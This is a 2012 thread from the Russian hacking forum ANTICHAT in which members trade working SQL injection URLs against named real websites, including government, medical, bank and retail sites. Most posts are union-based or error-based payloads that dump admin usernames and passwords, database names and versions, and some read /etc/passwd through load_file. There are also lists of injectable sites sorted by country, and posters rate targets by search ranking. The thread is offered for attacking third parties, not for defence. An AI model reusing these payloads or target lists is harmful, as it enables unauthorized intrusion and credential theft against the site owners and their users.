HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #14951  
Старый 09.05.2012, 04:32
DTW
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме:
420713

Репутация: 104
По умолчанию

Читалка столбцы

Цитата:
Сообщение от None  
http://www.freetv.fr/tv.php?id=-13 union select 1,2,3,4,5,concat_ws(0x2e,freetvsql.chaines.id,free tvsql.chaines.url,freetvsql.chaines.id_texte),7,8, 9,0,1,2 from freetvsql.chaines --
Цитата:
Сообщение от None  
http://www.bagster.com/en/showroom.php?id=-106 union select 1,concat_ws(0x3a,version(),database(),load_file(0x 2f6574632f706173737764)),3,4,5,6,7,8,9,10--
Цитата:
Сообщение от None  
http://www.clinique-yvette.com/pages/fiche-info.php?id=5&dep=7 union select 1,2,concat_ws(0x2e,yvette.yv_FicheMaster.fma_intit ule,yvette.yv_FicheMaster.fma_contenu),4 from yv_FicheMaster limit 1,1--
 
Ответить с цитированием

  #14952  
Старый 09.05.2012, 05:03
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

Пройдемся по error-based, в таком случае.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//aw-o.com/item.php?pid=15&lang=rus+and(select+1+from(select+count(*),concat((select+(select+(select+distinct+schema_name+from+`information_schema`.schemata+limit+1,1))+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1--[/COLOR][/COLOR] 
Вывод:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]Duplicate entry[/COLOR][COLOR="#DD0000"]'awocom1'[/COLOR][COLOR="#007700"]for[/COLOR][COLOR="#0000BB"]key 1[/COLOR][COLOR="#007700"])[/COLOR][/COLOR
 
Ответить с цитированием

  #14953  
Старый 09.05.2012, 06:47
BLurpi^_^
Guest
Сообщений: n/a
Провел на форуме:
65325

Репутация: 9
По умолчанию

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//kif-auto.ru/modules/view_a.php?id=-3'+and+1=0+union+select+1,version(),3,4,5,6,7,8+--+[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14954  
Старый 09.05.2012, 12:18
Gaben7
Guest
Сообщений: n/a
Провел на форуме:
28549

Репутация: 6
По умолчанию

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.jcmi.ca/events/event.php?id=-1+union+select+1,2,3,4,5,6,7,g roup_concat%28username,0x3a,pa ssword%29,9,10,11,12,13,14,15, 16,17,18+from+jcUsers--

[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.ciaproperties.co.za/prop001.php?id=-225+union+select+1,2,3,g roup_concat%28txtuser,txtp assworde%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26,27+from+tbluser--[/COLOR][/COLOR] 
communicat.pk

пароли в открытом виде

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.communicat.pk/web/market_map.php?id=-4+union+select+1,g roup_concat%28table_name%29,3,4,5,6,7,8+from+information_schema.tables+w here+t able_schema=CHAR%2867,%2079,%2077,%2077,%2085,%2078,%2073,%2049,%2095,%2067,%2065,%2084%29--[/COLOR][/COLOR] 
ousa.ca

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//ousa.ca/educatedvoice/page.php?id=57+AND+1=2+U NION+S ELECT+1,2,0x494e432e,4--[/COLOR][/COLOR] 
mysql:Gov

Код:
Code:
http://www.bogota.gov.co/equidad/newequi.php?id=%27
http://www.tsgaj.gov.cn/pluger/pingjia/index.php?act=frame&type=jws&id=6%27
http://xz.luanxian.tsgaj.gov.cn/show.php?id=5574%27
http://www.nbyzrc.gov.cn/homepage2/subview.php?id=1818
http://www.yatsen.gov.tw/chinese/lesson/show.php?id=4&PHPSESSID=
http://tccip.hach.gov.tw/tccp/main?page=temp_01_detail&id=26%27
http://sun.yatsen.gov.tw/hero_detail.php?id=%27
mysql:UK

Код:
Code:
http://www.bepropertyservices.co.uk/sales_fulldetails.php?id=2004583
http://www.b-r.co.uk/sales_fulldetails?id=300216567
http://cankay.org.uk/popup.php?class=stretches&act=displayStretchInfo&id=63
http://www.idbaza.co.uk/details.php?pid=48&lan=en
http://www.citrixchanneltraining.co.uk/ev.php?pg=ev&id=%27,ID,%27&sid=
http://www.atkinsonkeene.co.uk/sales_fulldetails.php?id=1578035
http://www.id-eclectic.co.uk/bluadmin/get_cart_info.php
http://www.kapitol.co.uk/index.php?id=11CachedYou
http://www.enidblytonsociety.co.uk/book-details.php?id=637andtitle=Tales+After+Supper
http://apollolettings.co.uk/propertydtl.php?id=%2749%27
http://www.managingdiversity.co.uk/news_archive_list_articles.php?ID='
http://www.ctgltd.co.uk/news.php?id=70&title=CTG+TORQLine+equipped+Impreza+fastest+in+the+world
http://www.shadow-world.co.uk/modules/profile_1.2/index.php?doing=viewProfile
mysql:MX

Код:
Code:
www.euromaquinas.com.mx/detallesescoplos.php?cod='
http://www.anemonaqro.com.mx/fabricantes.php
www.imagendeveracruz.com.mx/vercolumna.php?id='
http://www.mexmicro.com.mx/catalogo.php?id=135
http://mexicolegal.com.mx/oficina/index.php?id=3905
http://www.novenet.com.mx/seccion.php?id=209994&sec=&d=07&m=06&y=2011
http://www.impuestum.com.mx/noticias/5.html?PHPSESSID=%27
http://www.ccs.net.mx/contenido.php?id=2763
http://redu.org.mx/vernoticia.php?noticiaid=111
http://estudio5.com.mx/fabricantes.php
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.cdneza.gob.mx/index.php?id=galerias&cve=51+A ND+1=0+U NION+S ELECT+0[/COLOR][/COLOR] 
mysql:FM

Код:
Code:
http://www.aukcje.fm/show_user.php?id=8163&type=give
http://www.blu.fm/subsites/partypix/index.php?s=partypix&a=ecard&i=1&id=712
http://edura.fm/#!/radiogruppe/beitraege.php?gr_id=54&g_id=&g_player=off&g_lang=de&id=54&select=neuste&u_id=&au_id=0&d_id=
mysql:EU

Код:
Code:
http://www.gluchowski.eu/pl/index.php?url=galeria&akcja=inne&opcja=pokazgal&id=4&gal=2&tytul=Zdj%C4%99cia%20z%202005
https://ekash.eu/index.php/agentsworldwide
http://gyg4u.eu/index.php?id=92
http://www.sweethanol.eu/art.php?id=14
http://www.paukova-mreza.eu/index.php?task=view&id=276
http://www.sociologiapadova.eu/?pagina=pagina_generica.php&id=2..
http://www.wawerek.eu/articles.php?id=00
http://www.paukova-mreza.eu/index.php?task=view&id=276
http://www.sgelectronics.eu/contact.php
http://humanconcept.eu/ajanlatok_bovebb.php?id=29
http://www.badalini.eu/home_it.php?azione=scheda_prodotto_it&id=51
http://www.impolex.eu/index.php?PHPSESSID=&akcja=01&id=3
CO.IL

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]
www[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ift[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]co[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]il[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]showPage[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]asp[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]26[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]union[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]username[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]admins

http
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.ift.co.il/showPage.asp?id=26+union+select+1,password,3,4+from+admins

[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.ohv.co.il/asp/portfolio_company.asp?id=117%20union%20select%201,2,u name,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22%20from%20a dmin

[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.raz-pi.co.il/pages.php?id=-9+union+select+0,us ername,pa ssword+from+admins

[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.isratim.co.il/archive/2008/details.php?id=-155+UNION+SELECT+1,group_concat%28login,0x3a,pa ssword,0x3a,a dmin%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26,27,28,29+from+userkeys

[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//dandd.co.il/video.asp?id=3+union+select+1,u sername,pa ssword,4, 5,6,7+from+admin

[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.yadal.co.il/Contents/details.asp?id=662+union+select+1,2,3,4,5,u sername,7,8,9,10,pa ssword,12,13,14, 15,16,17+from+admins[/COLOR][/COLOR] 
SQL Injection:Co-operative Urban Bank

Код:
Code:
http://www.ferokebank.in/news.php?id=1
Tables found: fcub_logs,fcub_newsboard3,fcub_user,fcub_user_logs
 
Ответить с цитированием

  #14955  
Старый 09.05.2012, 22:54
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

Вопросы-ответы по ремонту и строительству.

ТИЦ == 30, PR ==3;

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.remotvet.ru/index.php?catID=-205+union+select+count(*)+from+users--[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14956  
Старый 10.05.2012, 05:35
DTW
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме:
420713

Репутация: 104
По умолчанию

onlymelbourne

Цитата:
Сообщение от None  
http://www.onlymelbourne.com.au/melbourne_details.php?id=-9408%20union%20select%201,2,3,4,5,6,concat_ws%280x 2e,table_schema,table_name,column_name,load_file%2 80x2f6574632f706173737764%29%29,8,9,0,1,2,3,4,5,6, 7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1, 2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5%20 from%20information_schema.columns%20where%20table_ name=0x656d61696c73%20limit%204,1%20--
 
Ответить с цитированием

  #14957  
Старый 10.05.2012, 06:02
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

Новостной портал.

ТИЦ == 230, PR == 4, DMOZ == true;

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//tvkrasnodar.ru/news/?id=7777777'+union+select+1,2,3,4,5,6,7,8,9,10+--+h[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14958  
Старый 10.05.2012, 06:34
DTW
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме:
420713

Репутация: 104
По умолчанию

kobaltt

Цитата:
Сообщение от None  
http://www.kobaltt.ae/offre_detail.php?id_offre=-4466 union select 1,2,concat_ws(0x2e,kobalttae.agents.id_qualif,koba lttae.agents.mot),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9, 0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 from kobalttae.agents --
Цитата:
Сообщение от None  
http://commvehicles.com/cvmeprofile.php?id=-142 union select 1,2,concat_ws(0x3a,version(),database(),user()),4, 5,6,7,8,9 --
 
Ответить с цитированием

  #14959  
Старый 10.05.2012, 09:01
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

PR == 3

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.mir-sekretov.ru/detailNews.php?newsID=-4+union+select+1,2,@@datadir,@@tmpdir,5,6,7,8--[/COLOR][/COLOR] 
PR == 1 и мерзкие рожи

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.vivadisco.ru/en/index.php?newsid=-17+union+select+1,2,3,4,concat_ws(0x03a,user(),database(),version()),6,7--[/COLOR][/COLOR] 
ТИЦ ==10 PR ==3 и error-based

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.exp-edition.ru/reviewarticle.php?newsid=1392+and(select+1+from(select+count(*),concat((select+(select+database())+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1[/COLOR][/COLOR] 
Шоп. PR == 2

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.vladbaby.ru/?catid=-4+union+select+1,2,3,4,5,database(),7,8--[/COLOR][/COLOR] 
Вывод в соурс vladbaby_webshop
 
Ответить с цитированием

  #14960  
Старый 10.05.2012, 15:38
AC//DC
Познающий
Регистрация: 28.07.2009
Сообщений: 98
Провел на форуме:
247684

Репутация: 136
По умолчанию



http://www.interfax-religion.ru/?act=news&div=-41496%20and%201=2%20union%20select%20concat_ws(0x3 a,@@version,user(),database(),@@version_compile_os ),2,3,4,5,6,7,8,9,10,11,12,13,14,15+--

4.1.25-log religion_main@localhost db_religion_main portbld-freebsd7.1
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ